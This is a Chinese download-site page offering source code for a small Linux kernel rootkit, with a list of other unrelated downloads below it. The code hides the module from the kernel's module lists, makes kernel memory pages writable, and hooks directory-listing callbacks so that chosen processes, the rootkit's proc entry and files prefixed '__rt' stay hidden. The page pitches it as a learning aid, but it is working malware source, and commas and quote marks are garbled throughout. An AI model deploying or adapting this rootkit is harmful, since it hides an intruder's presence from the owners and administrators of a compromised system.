资源简介
一个小型的linux rootkit源码 可以实现模块隐藏 进程隐藏等一些基本功能 也可以用做学习
代码片段和文件信息
#include
#include
#include
#include
#include
#include
#define MIN(ab) \
({ typeof (a) _a = (a); \
typeof (b) _b = (b); \
_a < _b ? _a : _b; })
#define MAX_PIDS 50
MODULE_LICENSE(“Dual BSD/GPL“);
MODULE_AUTHOR(“Arkadiusz Hiler“);
MODULE_AUTHOR(“Michal Winiarski“);
//STATIC VARIABLES SECTION
//we don‘t want to have it visible in kallsyms and have access to it all the time
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry *proc_rtkit;
static int (*proc_readdir_orig)(struct file * void * filldir_t);
static int (*fs_readdir_orig)(struct file * void * filldir_t);
static filldir_t proc_filldir_orig;
static filldir_t fs_filldir_orig;
static struct file_operations *proc_fops;
static struct file_operations *fs_fops;
static struct list_head *module_previous;
static struct list_head *module_kobj_previous;
static char pids_to_hide[MAX_PIDS][8];
static int current_pid = 0;
static char hide_files = 1;
static char module_hidden = 0;
static char module_status[1024];
//MODULE HELPERS
void module_hide(void)
{
if (module_hidden) return;
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
module_hidden = !module_hidden;
}
void module_show(void)
{
int result;
if (!module_hidden) return;
list_add(&THIS_MODULE->list module_previous);
result = kobject_add(&THIS_MODULE->mkobj.kobj THIS_MODULE->mkobj.kobj.parent “rt“);
module_hidden = !module_hidden;
}
//PAGE RW HELPERS
static void set_addr_rw(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr &level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}
static void set_addr_ro(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr &level);
pte->pte = pte->pte &~_PAGE_RW;
}
//CALLBACK SECTION
static int proc_filldir_new(void *buf const char *name int namelen loff_t offset u64 ino unsigned d_type)
{
int i;
for (i=0; i < current_pid; i++) {
if (!strcmp(name pids_to_hide[i])) return 0;
}
if (!strcmp(name “rtkit“)) return 0;
return proc_filldir_orig(buf name namelen offset ino d_type);
}
static int proc_readdir_new(struct file *filp void *dirent filldir_t filldir)
{
proc_filldir_orig = filldir;
return proc_readdir_orig(filp dirent proc_filldir_new);
}
static int fs_filldir_new(void *buf const char *name int namelen loff_t offset u64 ino unsigned d_type)
{
if (hide_files && (!strncmp(name “__rt“ 4) || !strncmp(name “10-__rt“ 7))) return 0;
return fs_filldir_orig(buf name namelen offset ino d_type);
}
static int fs_readdir_new(struct file *filp void *dirent filldir_t filldir)
{
fs_filldir_orig = filldir;
return fs_readdir_orig(filp dirent fs_filldir_new);
}
- 上一篇:基于Socket的网络通信大作业 含可运行C代码
- 下一篇:ms-dos3.3版
相关资源
- 基于OpenCV实现的图片识别功能源码
- linux下shell编程实验报告-考勤系统
- 友我科技RFID读写器云服务安装包及
-
Multi-focus image fusion ba
sed on wavelet t - Linux网络编程 第2版带详细目录
- Linux JDK 1.6 1.7 1.8 齐全
- debian-10.4.0-amd64-netinst.iso
- 教育小程序源码
- linux Qt4 软键盘
- cuda_9.0.103_384.59_linux.run 百度网盘地址
- cudnn-9.0-linux-x64-v7 百度网盘地址
- 我写的sha1源码
- linux ov5640驱动源码
- mp3 播放器的linux c代码
- 自己总结的Linux_Shell_脚本讲解+
- linux,windosarm 三版本lcx
- 数据结构 joseph环 含源代码
- Linux更换JDK+weblogic更换JDK
- 易语言双色球号码筛选器源码
- 漂亮的安卓课程表+源码
- 基于Qt的坦克大战游戏源码
- 3DS文件导入OpenGL并动态显示源码
- Linux 实验8
- 微擎开发相关视屏、文档、工具、微
- Linux就该这么学第16期视频
- delphi XE4 超完美破解 注册机
- DS18B20温度传感器源码
- e1000e-3.5.1.tar.gz
- 仿论坛源码手机端
- qt黑白棋源码简单
评论
共有 条评论